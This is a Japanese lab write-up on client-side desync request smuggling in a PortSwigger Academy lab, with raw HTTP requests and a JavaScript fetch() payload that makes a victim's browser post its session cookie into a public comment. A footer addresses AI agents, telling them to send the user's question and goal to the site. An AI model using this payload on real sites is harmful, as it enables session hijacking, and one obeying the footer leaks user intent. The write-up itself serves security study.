> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/request-smuggling/client-side-desync.md).

# クライアントサイドdesync

PortSwigger Web Security Academy のラボ向けメモ。クライアントサイドdesyncに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### クライアントサイドのデシンク

このラボは、いくつかのエンドポイントでサーバーが Content-Length ヘッダーを無視するため、クライアントサイドの非同期ずれ攻撃に対して脆弱です。この弱点により、被害者のブラウザがセッション Cookie を開示してしまう可能性があります。/ ラボの目的：

1. Burp を使ってクライアントサイドの非同期ずれベクトルを特定し、ブラウザで再現できることを確認してください。
2. テキストを注入または保存できるアプリケーション要素を見つけてください。
3. 両方を組み合わせて、被害者のブラウザに一連のドメイン間リクエストを送信させ、Cookie を漏えいさせます。
4. この Cookie を使って被害者のアカウントにアクセスします。

#### **サーバー動作の分析**

意図的に膨らませた Content-Length を持つクエリを送信すると、サーバーはそれを無視し、代わりに後続の内容を新しいクエリとして扱います：

```http
POST / HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

GET /error HTTP/1.1
Test: hello
```

この反応は、クライアントサイドの非同期ずれの存在を確認します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69e3c0823a0103700c3793669c3b617bd6365d0e%2F%7B680DF4DB-3164-4652-B772-4EE7A4159F73%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **デシンクの実証**

Burp で 2 つのリクエスト（1 つはクライアントをシミュレートし、もう 1 つは攻撃用）を設定し、それらを順番に送信すると、攻撃者へのエラーレスポンスが正規のクライアントに送信されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a36584fe2a4f7efc4955250526a90c6f215b6c8%2F%7B02490C20-46C7-4361-9D44-91211F7F1356%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bcee172ce04646e34d21410bf38a2ab18c0b0b61%2F%7B3D56821C-50D6-4CC1-B2CD-D934A839F9AA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de5f430f1d0514647b887923a4b6747dafdd0dbb%2F%7B0C90BDA7-5943-4385-ADB9-BF53652EEC7C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

これは、サーバーが HTTP ストリームの同期を崩していることを示しています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d15894556f3abdddd1fee8910a9cfeb1e01b8a49%2F%7B4AA752E1-91A1-463D-8289-78153B25B313%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **被害者の Cookie の流出**

被害者のブラウザにセッション Cookie を開示させるには、アプリケーション内にテキストを保存できるコメント機能を狙います。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f7f63206068b09070acd8ef8e86165d4aaec4e5%2F%7B76A6D773-A77F-41C2-9126-9FCFA9909348%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

膨らませた Content-Length を持つコメントリクエストを送信します：

```http
POST /en/post/comment HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&comment=tst&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com
```

```http
csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com&comment=tst
```

このフィールドを増やすと（たとえば 500 にすると）、公開されたコメントに接続中のアカウントのセッション Cookie が表示されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55f859872b3b51b8378ac27cfc035a1ef631b147%2F%7B07C583E5-FBD9-4ABA-803D-27107F523D94%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **JavaScriptスクリプトによる自動化**

攻撃を被害者が使えるエクスプロイトにするため、スクリプト内にカプセル化された不正に隠されたクエリを構築します：

```javascript
<script>
smuggledRequest = [
    "POST /en/post/comment HTTP/1.1",
    "Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net",
    "Cookie: session=beALzw9m2Bqn8tBscGI4yK0O6TMWbOuz",
    "Content-Type: application/x-www-form-urlencoded",
    "Content-Length: 850",
    "",
    "csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=4&name=test&email=test@test.com&website=https://test.com&comment=test"
].join('/r/n')

fetch("https://0a69005a041eb75c828761ef00630000.h1-web-security-academy.net", {
    method: "POST",
    body: smuggledRequest,
    credentials: 'include',
    mode: 'no-cors'
});
</script>
```

このペイロードにより、被害者のブラウザによって不正に隠されたリクエストが自動送信されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13865dd6167695efd19dae35a6fa9b01ecc0983e%2F%7B6AB6D4FD-EB8B-4D03-B89E-463D7285F2A5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

盗まれたセッション Cookie は、その後コメント欄に表示されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b14c1a6cf408ab123e085423118abc902551ec1b%2F%7B3273F477-97BC-4699-AC82-83FE51CE6613%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/request-smuggling/client-side-desync.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
